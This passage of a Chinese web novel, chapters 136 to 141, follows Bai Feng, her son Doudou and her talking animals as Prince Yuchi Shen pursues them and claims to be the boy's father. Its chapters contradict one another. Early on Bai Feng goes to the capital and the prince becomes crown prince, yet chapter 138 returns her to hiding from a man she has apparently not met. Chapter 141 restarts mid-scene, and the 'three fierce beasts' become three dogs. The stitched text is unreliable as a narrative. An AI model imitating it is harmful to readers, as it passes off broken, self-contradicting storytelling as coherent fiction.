“我没有抛弃她。”尉迟深说,“当年我被人陷害,身陷囹圄,根本没办法去找她。等我脱身的时候,她已经…” 他说不下去了。 白凤看着他,心里突然有些动摇。 “你说的是真的?” “千真万确。”尉迟深说,“这些年我一直在查当年的事,想要还你娘一个公道。” 白凤沉默了。 “我知道你恨我,但豆豆是无辜的。”尉迟深说,“我不求你原谅我,只求你让我尽一个父亲的责任。” 白凤看着豆豆,小家伙正睁着大眼睛看着尉迟深,眼里满是好奇。 “我需要时间考虑。”白凤说。 “好。”尉迟深点头,“我等你。” 白凤带着豆豆回到自己的房间,关上门后,整个人都瘫坐在床边。 豆豆爬到她身边:“娘,那个叔叔真的是我爹吗?” “是。”白凤揉揉他的头发。 “那他为什么以前不来找我们?”豆豆歪着脑袋问。 白凤不知道该怎么解释,只能说:“他有他的苦衷。” 豆豆似懂非懂地点点头,又问:“那我们还要跑吗?” 白凤愣住了。 是啊,还要跑吗? 尉迟深既然已经找到她了,跑到哪里都没用。而且他说的那些话,让她心里有些松动。 当年的事,也许真的另有隐情。 第二天一早,白凤去找李老板,说不跟商队走了。 李老板倒也没多问,只是叮嘱她路上小心。 白凤回到客栈,正好碰到方子墨。 “白姑娘,王爷在楼上等你。”方子墨说。 白凤点点头,上楼敲门。 尉迟深开门,看到她,眼里闪过一丝惊喜:“你来了。” “我想听听当年到底发生了什么。”白凤直接说。 尉迟深让她进屋,倒了杯茶给她。 “当年我奉命去边关平叛,临行前去见了你娘。”尉迟深说,“我答应她,等我回来就娶她。” 白凤静静听着。 “可我刚到边关,就被人陷害,说我私通敌国。”尉迟深继续说,“皇上大怒,把我关进了天牢。” “那后来呢?” “后来我父王替我求情,皇上才放了我,但条件是我必须戴罪立功。”尉迟深说,“我被派去了更远的边疆,一去就是三年。” 白凤皱眉:“那你为什么不派人去找我娘?” “我派了。”尉迟深苦笑,“但那些人都被拦下了,我的信也没能送到她手里。” “谁拦的?” “太子。”尉迟深眼里闪过一丝寒意,“他一直想除掉我,当年的事就是他设的局。” 白凤倒吸一口凉气。 “等我回京的时候,你娘已经…”尉迟深说不下去了。 白凤心里五味杂陈。 原来当年的事竟然这么复杂。 “我知道说这些已经晚了,但我想让你知道,我从来没有抛弃过她。”尉迟深看着白凤,“这些年我一直在查当年的事,想要为她讨回公道。” 白凤沉默了很久,才开口:“你查到什么了?” “太子当年收买了我身边的人,伪造了我私通敌国的证据。”尉迟深说,“我现在手里有证据,只要时机成熟,就能扳倒他。” “那你打算什么时候动手?” “快了。”尉迟深说,“皇上最近身体不好,太子越来越嚣张,已经露出了马脚。” 白凤想了想:“你需要我做什么?” 尉迟深愣了愣:“你愿意帮我?” “不是帮你,是为我娘讨公道。”白凤说,“还有,我不想豆豆长大后,听到别人说他爹是个叛徒。” 尉迟深眼里闪过感激:“多谢。” “别谢得太早。”白凤说,“我有个条件。” “你说。” “等事情结束后,我要带豆豆回镇上。”白凤说,“我不想卷入京城的那些纷争。” 尉迟深沉默了片刻,点头:“好,我答应你。” 接下来的几天,白凤跟着尉迟深回了京城。 京城比她想象中还要繁华,街上人来人往,各种店铺林立。 豆豆趴在马车窗口,眼睛都看直了:“娘,这里好大啊!” 白凤笑笑:“是挺大的。” 马车停在王府门口,白凤带着豆豆下车。 王府很大,光是门口就站了十几个侍卫。 “王爷,您回来了。”管家迎上来,“这位是…” “她是我的…朋友。”尉迟深说,“给她安排最好的院子。” “是。”管家恭敬地说。 白凤被安排在一个独立的院子里,院子不大,但很精致,还有个小花园。 豆豆高兴得不行,在院子里跑来跑去。 乐乐、来财和福球也跟着进了院子,三只猛兽一进来,把府里的下人都吓了一跳。 “别怕,它们不咬人。”白凤说。 下人们这才松了口气,但还是离得远远的。 晚上,尉迟深来看豆豆。 豆豆正在院子里玩,看到他来了,有些害羞地躲到白凤身后。 “豆豆,叫爹。”白凤说。 豆豆小声叫了一声:“爹。” 尉迟深眼眶有些红:“好孩子。” 他从怀里掏出一个玉佩,递给豆豆:“这是爹给你的见面礼。” 豆豆接过玉佩,眼睛亮晶晶的:“好漂亮!” “喜欢就好。”尉迟深摸摸他的头。 白凤看着这一幕,心里有些复杂。 尉迟深对豆豆是真的好,这一点她看得出来。 “对了,过几天宫里有宴会,皇上要见你。”尉迟深说。 白凤皱眉:“见我干什么?” “皇上听说我有个儿子,想见见。”尉迟深说,“你放心,我会保护你的。” 第137章 那就不硬拼 白凤想了想,点头:“好。” 几天后,白凤跟着尉迟深进宫。 皇宫比王府还要气派,到处都是金碧辉煌的建筑。 白凤牵着豆豆,跟在尉迟深身后,心里有些紧张。 “别怕,有我在。”尉迟深低声说。 白凤点点头。 他们来到御花园,皇上正在那里赏花。 “臣参见皇上。”尉迟深行礼。 “免礼。”皇上摆摆手,目光落在白凤和豆豆身上,“这就是你的儿子?” “是。”尉迟深说。 皇上走过来,仔细打量豆豆:“长得倒是像你。” 豆豆有些害怕,躲在白凤身后。 “别怕,孩子。”皇上笑了笑,又看向白凤,“你就是白凤?” “是。”白凤行礼。 “听说你养了三只猛兽?”皇上问。 “是。”白凤说。 “有意思。”皇上说,“改天带来给朕看看。” “是。”白凤应道。 就在这时,一个声音传来:“父皇,儿臣来晚了。” 白凤抬头,看到一个穿着华服的年轻男人走过来。 那人大约二十七八岁,长得倒是一表人才,但眼里有股说不出的阴鸷。 “太子来了。”皇上说。 太子行礼后,目光落在白凤身上,眼里闪过一丝惊艳:“这位是…” “她是徽臻王的朋友。”皇上说。 “原来如此。”太子笑了笑,“徽臻王艳福不浅啊。” 尉迟深脸色一沉:“太子殿下慎言。” “怎么,说错了?”太子挑眉。 气氛一下子变得紧张起来。 皇上咳嗽一声:“好了,都别吵了。” 太子这才收敛了些,但看向白凤的眼神还是有些不怀好意。 白凤心里暗暗警惕,这个太子不是个好相与的。 宴会结束后,白凤跟着尉迟深回王府。 “刚才那个太子,就是当年陷害你的人?”白凤问。 “对。”尉迟深说,“他一直想除掉我,好独揽大权。” “那你打算怎么办?” “等。”尉迟深说,“等他露出更大的破绽。” 白凤点点头。 接下来的日子,白凤住在王府里,每天带着豆豆在院子里玩。 尉迟深很忙,经常早出晚归,但每天晚上都会来看豆豆。 豆豆渐渐跟他亲近起来,有时候还会主动叫他爹。 白凤看着父子俩相处,心里有些欣慰。 但她知道,平静的日子不会太久。 果然,半个月后,宫里传来消息,太子出事了。 “怎么回事?”白凤问。 “太子私自调动禁军,被皇上发现了。”尉迟深说,“现在皇上正在查这件事。” 白凤心里一紧:“那你…” “我没事。”尉迟深说,“这正是我等的机会。” 太子被软禁在东宫,整个京城都传遍了。 白凤站在院子里,听着外面的议论声,心里有些不安。 “娘,外面好吵啊。”豆豆拉着她的衣角。 “没事,豆豆乖。”白凤摸摸他的头。 尉迟深这几天更忙了,经常半夜才回来。 白凤知道他在忙什么,但她帮不上忙,只能在府里等消息。 这天晚上,尉迟深回来得很晚。 白凤还没睡,坐在院子里等他。 “怎么还不睡?”尉迟深走过来。 “睡不着。”白凤说,“事情进展得怎么样了?” “很顺利。”尉迟深坐下来,“皇上已经查到了太子私自调动禁军的证据,还有他这些年贪污受贿的账本。” “那接下来呢?” “皇上会废掉太子。”尉迟深说,“然后重新立储。” 白凤看着他:“你有把握吗?” “有。”尉迟深说,“这些年我一直在准备,不会出错的。” 白凤点点头。 几天后,皇上下旨,废太子,改立尉迟深为太子。 整个京城都震动了。 白凤听到消息的时候,正在院子里喂乐乐。 “王爷,不,太子殿下回来了。”管家兴奋地说。 白凤抬头,看到尉迟深走进院子。 他还是那身黑色长袍,但气质却变了,多了几分威严。 “恭喜。”白凤说。 “多谢。”尉迟深走过来,“这些都是你的功劳。” “我什么都没做。”白凤说。 “你在我身边,就是最大的支持。”尉迟深说。 白凤心里一暖,但很快又冷静下来:“你答应过我的事,还算数吗?” 尉迟深愣了愣:“你是说…” “等事情结束后,我要带豆豆回镇上。”白凤说。 尉迟深沉默了片刻:“事情还没结束。” “什么意思?” “北方的蛮族入侵,占了我们三座城池。”尉迟深说,“皇上命我领兵出征。” 白凤皱眉:“什么时候?” “三天后。”尉迟深说,“这一去,不知道什么时候能回来。” 白凤心里一紧。 打仗可不是闹着玩的,万一出了什么事… “我跟你一起去。”白凤突然说。 尉迟深愣住了:“你说什么?” “我说,我跟你一起去。”白凤说,“我有乐乐它们,可以帮你。” 尉迟深摇头:“不行,战场太危险了。” “我不怕。”白凤说,“而且豆豆也该见识见识外面的世界了。” 尉迟深看着她,眼里闪过复杂的情绪。 “你真的想好了?” “想好了。”白凤说。 尉迟深沉默了很久,才点头:“好,那就一起去。” 三天后,大军出征。 白凤带着豆豆,还有三只猛兽,跟在尉迟深身边。 豆豆骑在乐乐背上,兴奋得不行:“娘,我们要去打仗了!” “嗯,豆豆要乖乖听话。”白凤说。 大军浩浩荡荡地往北方进发,一路上风餐露宿。 白凤倒是不觉得辛苦,她以前在镇上的时候,什么苦都吃过。 倒是豆豆,刚开始还挺兴奋,后来就有些受不了了。 “娘,我好累啊。”豆豆趴在乐乐背上,有气无力地说。 “再坚持一下,马上就到了。”白凤说。 尉迟深骑马过来:“要不让豆豆坐马车?” “不用,他能坚持。”白凤说。 豆豆听到这话,立刻打起精神:“对,我能坚持!” 尉迟深笑了笑,眼里满是欣慰。 半个月后,大军到达边关。 这里已经是一片废墟,到处都是战火留下的痕迹。 白凤看着眼前的景象,心里有些沉重。 “蛮族很凶残,他们所过之处,寸草不生。”尉迟深说,“这次我们一定要把他们赶出去。” 白凤点点头。 当天晚上,尉迟深召集将领开会,商量作战计划。 白凤也参加了会议。 “蛮族占据了三座城池,兵力大约有十万。”一个将领说,“我们只有五万人,硬拼的话,胜算不大。” “那就不硬拼。”白凤突然说。 所有人都看向她。 “白姑娘有什么高见?”尉迟深问。 “我有乐乐它们,可以搞突袭。”白凤说,“趁着夜色,我带它们潜入敌营,制造混乱,你们再趁机进攻。” 将领们面面相觑。 “这…会不会太冒险了?”一个将领说。 “打仗哪有不冒险的?”白凤说,“而且乐乐它们的战斗力,你们也见识过。” 尉迟深想了想,点头:“好,就按你说的办。” 第138章 得想办法 黑甲将士走后,白凤在院子里站了许久。 豆豆从屋里探出头:“娘,那个叔叔走了吗?” “走了。”白凤转身,脸上挤出笑容,“豆豆别怕,娘不会让任何人把你带走。” 豆豆跑过来抱住她的腿:“娘,我也不想离开你。” 乐乐从墙角走过来,尾巴耷拉着:“主人,那个王爷不好对付。他手下那么多人,要是真来硬的,咱们跑不掉。” 白凤蹲下身,摸了摸乐乐的头:“所以得想办法。” “什么办法?”乐乐歪着脑袋。 白凤没说话,眼珠子转了转,心里已经有了主意。 第二天一早,白凤就带着豆豆出门了。她没去别的地方,直奔镇上最热闹的茶楼。 茶楼里人声鼎沸,说书先生正在台上讲《三国演义》,底下坐满了听客。白凤找了个角落坐下,点了壶茶,竖起耳朵听周围的人聊天。 “听说了吗?徽臻王要来咱们镇上。” “真的假的?那可是王爷啊,怎么会来这种小地方?” “千真万确!我表哥在县衙当差,亲耳听县令说的。说是王爷要找个人,就在咱们镇上。” 白凤手里的茶杯顿了顿。 果然,徽臻王真要来。 她放下茶杯,牵着豆豆起身离开。刚走到茶楼门口,就看见徐禄生急匆匆跑过来。 “白姑娘!白姑娘!”徐禄生气喘吁吁,“我正找你呢。” “徐大哥,怎么了?” 徐禄生擦了擦额头的汗:“我听说徽臻王要来镇上,是不是冲你来的?” 白凤点点头:“八九不离十。” “那你打算怎么办?”徐禄生压低声音,“要不要先避避风头?” 白凤摇头:“避不了。他既然能找到这里,就能找到别处。” “那……” “我有办法。”白凤打断他,“徐大哥,你帮我个忙。” “你说。” 白凤凑到他耳边,小声说了几句。徐禄生听完,眼睛瞪得老大:“这……这能行吗?” “试试呗。”白凤笑了笑,“反正也没别的办法了。” 徐禄生犹豫了一下,还是点了头:“行,我帮你。” 两人分头行动。白凤带着豆豆回到城隍庙,开始收拾东西。 乐乐趴在门槛上:“主人,你要搬家?” “不是搬家。”白凤把几件换洗衣服塞进包袱,“是做戏。” “做戏?”乐乐更糊涂了。 白凤没解释,继续收拾。来财和福球也凑过来,叽叽喳喳问个不停。 “主人要去哪里?” “带我们一起吗?” “会不会有危险?” 白凤被吵得头疼:“都别闹,听我的就行。” 收拾完东西,白凤又去了趟镇上的成衣铺。她挑了几件粗布衣裳,又买了顶破草帽,还特意买了些锅灰。 掌柜的看她买这些东西,忍不住问:“白姑娘,你买锅灰干什么?” “有用。”白凤付了钱,抱着东西就走。 回到城隍庙,白凤把豆豆叫过来:“豆豆,娘给你换身衣服。” “为什么呀?”豆豆不解。 “别问,听话。” 白凤给豆豆换上粗布衣裳,又用锅灰在他脸上抹了几道,把他打扮得灰头土脸。豆豆照了照水盆,哇地一声哭出来:“娘,我好丑!” “不丑不丑。”白凤哄他,“就这么几天,很快就好了。” 豆豆抽抽搭搭,勉强接受了。 白凤又给自己换上旧衣裳,把头发随便挽了个髻,也往脸上抹了锅灰。乐乐看得目瞪口呆:“主人,你这是……” “扮丑。”白凤照了照水盆,满意地点点头,“这样就算徽臻王来了,也认不出我。” 乐乐想了想:“有道理。” 来财和福球也跟着点头:“主人聪明!” 白凤收拾妥当,又去找了徐禄生。徐禄生已经按她说的,在镇上散布消息,说白凤带着儿子跑了,不知道去了哪里。 “消息传出去了。”徐禄生说,“现在全镇都知道你跑了。” “好。”白凤点头,“接下来就看徽臻王怎么反应了。” 两人正说着话,忽然听见街上一阵骚动。 “王爷来了!王爷来了!” 白凤和徐禄生对视一眼,赶紧躲到茶楼二楼,从窗户往外看。 只见一队黑甲侍卫开道,中间是辆华丽的马车。马车停在镇口,车帘掀开,一个男人走了出来。 那男人三十来岁,穿着玄色锦袍,腰间系着玉带,面容俊朗,气度不凡。正是徽臻王尉迟深。 尉迟深站在马车旁,目光扫过街道,冷声问:“人呢?” 黑甲将士上前:“回王爷,白姑娘跑了。” “跑了?”尉迟深眉头一皱,“什么时候的事?” “就在今天早上。有人看见她带着孩子离开了镇子,不知道去了哪里。” 尉迟深沉默了片刻,忽然笑了:“有意思。” 他转身对黑甲将士说:“去查。我就不信她能跑到哪里去。” “是。” 黑甲将士领命离开。尉迟深重新上了马车,车队缓缓驶入镇子。 白凤躲在窗后,看着马车远去,松了口气。 “他信了?”徐禄生问。 “暂时信了。”白凤说,“不过他肯定会派人继续查。咱们得小心点。” 徐禄生点头:“你打算躲到什么时候?” “等他放弃。”白凤说,“他总不能一直耗在这里。” 徐禄生想了想,觉得有道理。 接下来几天,白凤就躲在城隍庙里,大门不出二门不迈。她每天扮成村妇模样,偶尔去镇上买点东西,也是挑人少的时候去。 豆豆倒是适应得很快,每天跟乐乐、来财、福球玩得不亦乐乎。 “娘,我们什么时候能洗脸啊?”豆豆摸着脸上的锅灰,皱着小脸问。 “快了快了。”白凤敷衍他。 乐乐趴在门槛上晒太阳:“主人,那个王爷还在镇上。” “我知道。”白凤正在院子里晾衣服,“他派了不少人在镇上查,不过都没查到咱们。” “那他会不会一直查下去?” “不会。”白凤说,“他是王爷,不可能一直待在这种小地方。再过几天,他就该回京城了。” 话音刚落,院门忽然被敲响了。 白凤心里一紧,示意豆豆躲进屋里,自己走过去开门。 门外站着个陌生男人,穿着普通,看起来像个商贩。 “你找谁?”白凤警惕地问。 “请问这里是白凤姑娘家吗?”男人笑着问。 白凤心里咯噔一下,脸上却不动声色:“你认错人了,这里没有什么白凤。” “是吗?”男人打量她几眼,“那打扰了。” 说完,男人转身离开。 白凤关上门,靠在门板上,心跳得厉害。 乐乐凑过来:“主人,那人是不是王爷派来的?” “八成是。”白凤咬着嘴唇,“看来他还没放弃。” 第139章 得换个地方躲了 “那怎么办?” 白凤想了想:“得换个地方躲了。” 她收拾了些必需品,带着豆豆和几只动物,趁着夜色离开了城隍庙。 这次她没去镇上,而是往山里走。山里有个废弃的猎户小屋,是她之前采药时发现的,正好可以暂时藏身。 小屋破破烂烂,屋顶还漏着几个洞,但总比被抓回去强。 白凤把小屋简单收拾了一下,铺上干草,勉强能住人。 豆豆看着破屋子,小嘴一瞥:“娘,这里好破啊。” “将就几天。”白凤摸摸他的头,“等那个王爷走了,咱们就回去。” 豆豆点点头,乖乖躺在干草上睡觉。 白凤坐在门口,看着外面漆黑的夜色,心里五味杂陈。 她不明白,尉迟深为什么非要找她回去。就算他真的绝嗣,也不该把主意打到她和豆豆身上。 乐乐趴在她脚边:“主人,你说那个王爷会不会真的放弃?” “不知道。”白凤叹了口气,“走一步看一步吧。” 山里的日子比白凤想象中难熬。 小屋虽然能遮风挡雨,但到底太破,晚上冷得要命。白凤只能抱着豆豆,让乐乐、来财、福球都挤在一起取暖。 豆豆冻得直打哆嗦:“娘,我好冷。” “忍忍。”白凤把他搂得更紧,“明天娘去找些柴火,生个火就暖和了。” 第二天天刚亮,白凤就起来去捡柴。山里柴火倒是不少,但都是湿的,不好烧。她费了好大劲,才找到些干柴,抱回小屋生了火。 火堆烧起来,小屋里总算暖和了些。豆豆烤着火,脸上总算有了点血色。 “娘,我饿。”豆豆摸着肚子说。 白凤翻了翻包袱,里面只剩两个干饼子。她掰了一个给豆豆,自己留了半个。 “先吃这个垫垫,娘等会儿去找点吃的。” 豆豆接过饼子,小口小口啃着。 白凤吃完半个饼子,带着乐乐出门找吃的。山里野果不少,但这个季节大多都落了,只能找些野菜。 乐乐在前面带路:“主人,前面有个兔子窝。” “真的?”白凤眼睛一亮。 两人摸到兔子窝附近,果然看见几只野兔在草丛里蹦跶。白凤悄悄靠近,趁兔子不注意,一把抓住一只。 兔子挣扎着,白凤手劲大,死死按住它。 “今天有肉吃了。”白凤笑着说。 乐乐摇着尾巴:“主人厉害!” 两人带着兔子回到小屋,白凤把兔子收拾干净,架在火上烤。没多久,香味就飘了出来。 豆豆闻着香味,口水都要流下来了:“娘,好香啊!” “马上就好。”白凤翻了翻兔子,又撒了些盐。 兔子烤好了,白凤撕了一条腿给豆豆,自己吃剩下的。乐乐、来财、福球也分到了一些。 一家子围着火堆,吃得津津有味。 吃完饭,白凤又去山里转了一圈,采了些草药。这些草药能卖钱,等回镇上了,正好能换些银子。 就这样过了三天,白凤觉得差不多了,准备回镇上看看情况。 她把豆豆和几只动物留在小屋,自己一个人下山。 镇上还是那副热闹模样,看不出什么异常。白凤找了个角落站着,观察了一会儿,没看见黑甲侍卫,心里松了口气。 看来徽臻王真的走了。 她正要离开,忽然听见有人在议论。 “听说了吗?徽臻王还在镇上。” “不是说走了吗?” “没走。他住在县衙,说是不找到人不走。” 白凤脚步一顿。 没走? 她心里一沉,赶紧找了个茶楼坐下,继续打听消息。 “那个王爷也真是执着,为了找个女人,在这种小地方待了这么久。” “谁说不是呢。不过听说那女人是他的旧相识,还给他生了个儿子。” “啧啧,这可有意思了。” 白凤听得脸色发黑。 什么旧相识,什么生儿子,全是胡说八道! 她气得想冲上去辩解,但理智告诉她不能这么做。现在最重要的是别暴露身份。 白凤压下火气,起身离开茶楼。刚走到街口,就看见一队黑甲侍卫迎面走来。 她心里一紧,赶紧低下头,装作路人匆匆走过。 黑甲侍卫没注意到她,径直走了过去。 白凤松了口气,加快脚步离开镇子。 回到小屋,豆豆正在院子里玩。看见她回来,立刻跑过来:“娘,你回来了!” “嗯。”白凤摸摸他的头,“豆豆乖不乖?” “乖!”豆豆用力点头。 乐乐凑过来:“主人,怎么样?那个王爷走了吗?” “没走。”白凤脸色凝重,“他还在镇上,说是不找到人不走。” “那怎么办?”乐乐急了,“咱们总不能一直躲在山里吧?” “我知道。”白凤咬着嘴唇,“得想个办法让他死心。” “什么办法?” 白凤想了想,忽然有了主意:“我去见他。” “什么?”乐乐吓了一跳,“主人,你疯了?去见他不就暴露了吗?” “不是以白凤的身份去见。”白凤说,“我扮成别人,去试探他。” 乐乐还是不放心:“万一被认出来怎么办?” “不会。”白凤说,“我有办法。” 第二天,白凤又去了趟镇上。这次她打扮得更仔细,不但脸上抹了锅灰,还特意弄乱了头发,看起来就像个普通村妇。 她打听到徽臻王住在县衙,便直奔县衙而去。 县衙门口守着两个黑甲侍卫,白凤走过去,怯生生地说:“这位大哥,我想见王爷。” 侍卫打量她几眼:“你是谁?有什么事?” “我……我听说王爷在找人,我知道那个人在哪里。”白凤小声说。 侍卫眼睛一亮:“你说的是白凤?” 白凤点点头。 “等着。”侍卫转身进了县衙。 没多久,侍卫出来了:“王爷让你进去。” 白凤跟着侍卫进了县衙,七拐八拐,来到一间厢房。 厢房里,尉迟深正坐在椅子上看书。听见脚步声,他抬起头,目光落在白凤身上。 白凤心里一紧,低着头不敢看他。 “你说你知道白凤在哪里?”尉迟深放下书,声音平静。 “是……是的。”白凤结结巴巴地说,“我在山里见过她。” “在哪里?” “就在镇子后面的山里,有个废弃的猎户小屋,她就躲在那里。” 尉迟深盯着她看了一会儿,忽然笑了:“你撒谎。” 白凤心里咯噔一下:“我……我没有……” “你就是白凤。”尉迟深站起身,走到她面前,“你以为换身衣服,抹点锅灰,我就认不出你了?” 白凤猛地抬头,对上尉迟深的眼睛。 第140章 想跑?晚了 那双眼睛深邃如海,仿佛能看穿一切。 白凤心里一慌,转身就要跑。 尉迟深一把抓住她的手腕:“想跑?晚了。” “放开我!”白凤挣扎着。 “我不会放开你。”尉迟深说,“你是我的人,生是我的人,死是我的鬼。” “你胡说什么!”白凤气得脸都红了,“我什么时候是你的人了?” “五年前,在京城。”尉迟深说,“你忘了?” 白凤愣住了。 五年前?京城? 她脑子里一片空白,完全想不起来。 “我不知道你在说什么。”白凤说,“你认错人了。” “认错人?”尉迟深冷笑,“你身上有颗痣,在左肩上,对不对?” 白凤脸色大变。 她左肩上确实有颗痣,但这种事,除了她自己,不应该有别人知道。 “你……你怎么知道?” “因为我见过。”尉迟深说,“五年前那晚,我见过。” 白凤脑子里轰的一声,像是有什么东西炸开了。 五年前那晚…… 难道豆豆的爹,就是眼前这个男人? 白凤脑子乱成一团。 她想起原主的记忆,五年前那个混乱的夜晚,她被人下药,稀里糊涂跟个男人…… 难道那个男人就是尉迟深? “不可能。”白凤摇头,“你肯定认错人了。” “我没认错。”尉迟深松开她的手腕,退后一步,“那晚之后,我派人找了你很久,但你就像人间蒸发了一样。直到前段时间,我才打听到你的消息。” 白凤咬着嘴唇,不知道该说什么。 如果尉迟深说的是真的,那豆豆就是他的儿子。可原主的记忆里,那晚的男人只是个模糊的影子,根本看不清长相。 “就算你说的是真的,那又怎么样?”白凤冷着脸,“我不想跟你回京城,豆豆也不想。” “豆豆是我儿子,他必须跟我回去。”尉迟深说。 “他是我儿子!”白凤提高了声音,“这五年来,是我一个人把他养大的,你凭什么说带走就带走?” “就凭我是他爹。”尉迟深说,“而且你一个女人,带着孩子过得这么辛苦,跟我回京城,至少能过上好日子。” “我不稀罕!”白凤说,“我宁愿辛苦点,也不想过那种富贵日子。” 尉迟深皱起眉头:“你到底在固执什么?” “我固执?”白凤冷笑,“你才固执!你以为有钱有势就能为所欲为?我告诉你,我白凤不吃这一套!” 两人僵持着,谁也不肯让步。 就在这时,外面传来一阵喧哗声。 “王爷!王爷!”黑甲侍卫急匆匆跑进来,“出事了!” “什么事?”尉迟深转过身。 “镇上来了一伙山匪,正在抢劫!” 尉迟深脸色一沉:“多少人?” “大概二三十个,都带着刀。” “走。”尉迟深大步往外走。 白凤趁机想溜,但被另一个侍卫拦住了:“白姑娘,王爷说了,你不能走。” “你们凭什么限制我的自由?”白凤气得跳脚。 侍卫不说话,就是不让她走。 白凤没办法,只能跟着他们出去。 镇上已经乱成一团。山匪们挥着刀,见人就抢,镇上的百姓吓得四处逃窜。 尉迟深带着黑甲侍卫冲了上去,跟山匪打了起来。 白凤站在远处看着,心里又急又气。她想回山里找豆豆,但侍卫死死盯着她,根本走不了。 就在这时,她忽然看见一个山匪往山里跑去。 那个方向,正是豆豆藏身的小屋! 白凤心里一紧,顾不上侍卫,撒腿就往山里跑。 “白姑娘!白姑娘!”侍卫在后面喊,但白凤根本不理,跑得飞快。 她一路狂奔,终于到了小屋附近。远远就听见豆豆的哭声。 “娘!娘!” 白凤心里一慌,冲进小屋,就看见那个山匪正抓着豆豆。 “放开他!”白凤冲上去,一把推开山匪。 山匪没防备,被推得踉跄几步。他回过神来,恶狠狠地瞪着白凤:“臭娘们,找死!” 说着,他举起刀就要砍。 白凤护着豆豆,闭上眼睛等死。 就在这时,一道黑影闪过,山匪手里的刀被打飞了。 白凤睁开眼,看见尉迟深站在面前。 “你没事吧?”尉迟深问。 白凤愣了愣,点点头。 尉迟深转身,一脚把山匪踹倒在地。山匪爬起来想跑,被黑甲侍卫抓住了。 “带下去。”尉迟深冷声说。 侍卫把山匪拖走了。尉迟深转过身,看着白凤和豆豆。 豆豆躲在白凤怀里,怯生生地看着他。 “这就是我儿子?”尉迟深问。 白凤抱紧豆豆,没说话。 尉迟深走过来,蹲下身,跟豆豆平视:“你叫豆豆?” 豆豆点点头。 “你今年多大了?” “五岁。”豆豆小声说。 尉迟深看着豆豆,眼里闪过一丝柔和:“长得像我。” 白凤翻了个白眼:“你别自作多情。” 尉迟深没理她,继续跟豆豆说话:“豆豆,你想不想去京城?那里有很多好玩的。” 豆豆摇头:“我不想去,我要跟娘在一起。” “你娘也会去。”尉迟深说。 “真的?”豆豆眼睛一亮。 “真的。” 豆豆看向白凤:“娘,咱们去京城好不好?” 白凤瞪了尉迟深一眼:“你别骗小孩。” “我没骗他。”尉迟深站起身,“你们必须跟我回京城。” “我说了,我不去!” “由不得你。”尉迟深说,“豆豆是我儿子,我有权利带他走。” “你敢!”白凤护着豆豆,“你要是敢强行带走他,我就……” “你就怎么样?”尉迟深挑眉。 白凤咬着嘴唇,说不出话来。 她知道自己斗不过尉迟深,但她不甘心就这么认输。 就在这时,乐乐忽然冲了出来,对着尉迟深狂吠:“汪汪汪!” 尉迟深看了它一眼:“这狗挺凶。” “它不是普通的狗。”白凤说,“它会说话。” “会说话?”尉迟深不信。 乐乐叫得更凶了:“你这个坏人!不许欺负我主人!” 尉迟深愣住了。 他听懂了。 这狗真的会说话。 “有意思。”尉迟深笑了,“看来你身上的秘密不少。” 白凤心里一沉。 糟了,暴露了。 尉迟深走过来,盯着她:“你还有什么本事,一起说出来吧。” “没有了。”白凤硬着头皮说。 “是吗?”尉迟深不信,“那你怎么知道山里有药材?怎么知道城隍庙里有宝物?” 白凤心里咯噔一下。 他怎么知道这些? “你派人查我?”白凤气得脸都红了。 “不查怎么找到你?”尉迟深理所当然地说。 第141章 只要你跟我回去 白凤气得说不出话来。 尉迟深看着她,忽然说:“你跟我回京城,我可以答应你一个条件。” “什么条件?” “随便什么都行。”尉迟深说,“只要你跟我回去。” 白凤犹豫了。 她不想回京城,但如果能提个条件…… 黑甲侍卫走后,白凤靠在门板上,脑子里乱糟糟的。 豆豆从屋里跑出来,抱住她的腿:“娘,那个黑叔叔又来了?” “没事。”白凤摸摸他的头,“睡觉去。” 把豆豆哄睡后,白凤坐在院子里,看着月亮发呆。乐乐和来财趴在她脚边,福球缩在她怀里,三只狗都安静得很。 第二天一早,白凤背着背篓准备上山。 徐禄生正好路过,看见她:“白姑娘,又要去采药?” “嗯。”白凤点头,“家里快断粮了。” “那你小心点。”徐禄生犹豫了下,“昨晚那个黑甲侍卫……” “别提他。”白凤打断他的话,“我不想听。” 徐禄生张了张嘴,最后什么都没说,转身走了。 白凤带着三只狗上了山。这次她打算往深处走走,看能不能找到更值钱的药材。 走了大半个时辰,白凤在一处山坳里发现了几株野山参。她正要挖,突然听见身后传来脚步声。 回头一看,是镇上的赤脚郎中。 “白姑娘。”赤脚郎中笑眯眯地走过来,“这么早就上山了?” 白凤皱眉:“你怎么在这?” “我也是来采药的。”赤脚郎中说着,眼睛却盯着她手里的野山参,“哎呀,这可是好东西啊。” 白凤把野山参收进背篓:“我先发现的。” “我知道,我知道。”赤脚郎中搓着手,“白姑娘,你看这样行不行,你把这参卖给我,我出双倍的价钱。” “不卖。”白凤转身就走。 赤脚郎中跟在她后面:“别这么绝情嘛,咱们都是镇上的人,抬头不见低头见的……” 白凤懒得理他,加快脚步往前走。 赤脚郎中还想跟,乐乐突然回头冲他龇牙。 “哎哟!”赤脚郎中吓得往后退了几步,“这狗怎么这么凶!” 白凤头也不回地走了。 她在山里转了一圈,又找到几株药材,装满了背篓才下山。 回到家,白凤把药材整理好,准备明天去郡城卖。 镇上的药铺自从赤脚郎中接手后,收药的价钱压得很低,白凤不愿意吃这个亏,宁愿多走点路去郡城。 晚上,白凤正在院子里晾药材,舅妈突然闯了进来。 “白凤!”舅妈脸色发白,“你快走,快走!” 白凤愣住:“怎么了?” “那个黑甲侍卫……”舅妈声音都在抖,“他是王爷的人!你怎么能惹上王爷!” 白凤冷笑:“我没惹他,是他来惹我。” “你还笑得出来!”舅妈急得直跺脚,“王爷要是怪罪下来,咱们全家都得遭殃!” “那是我的事,跟你们没关系。”白凤说。 “怎么没关系!”舅妈尖声道,“你住在我们家,出了事我们能脱得了干系?” 白凤看着她:“那你想怎么样?” 舅妈咬了咬牙:“你搬出去,离我们远点。” “行。”白凤点头,“我本来也打算搬。” 舅妈一愣,没想到她答应得这么痛快。 “不过。”白凤接着说,“我爹留下的那些东西,你们得还给我。” 舅妈脸色一变:“什么东西?” “别装傻。”白凤冷冷地看着她,“我爹的工具,还有那些木料,都在你们家后院放着呢。” 舅妈张了张嘴,最后什么都没说,转身走了。 第二天,白凤背着背篓,带着豆豆和三只狗,去了郡城。 郡城比镇上热闹多了,街上人来人往,各种叫卖声此起彼伏。 白凤找到常去的那家药铺,掌柜的一看见她就笑了:“白姑娘来了?今天带了什么好东西?” 白凤把背篓放下,掌柜的翻了翻,眼睛一亮:“这野山参品相不错啊。” “多少钱?”白凤问。 掌柜的想了想:“五两银子。” “成交。” 掌柜的称了药材,付了银子,白凤收好钱,准备离开。 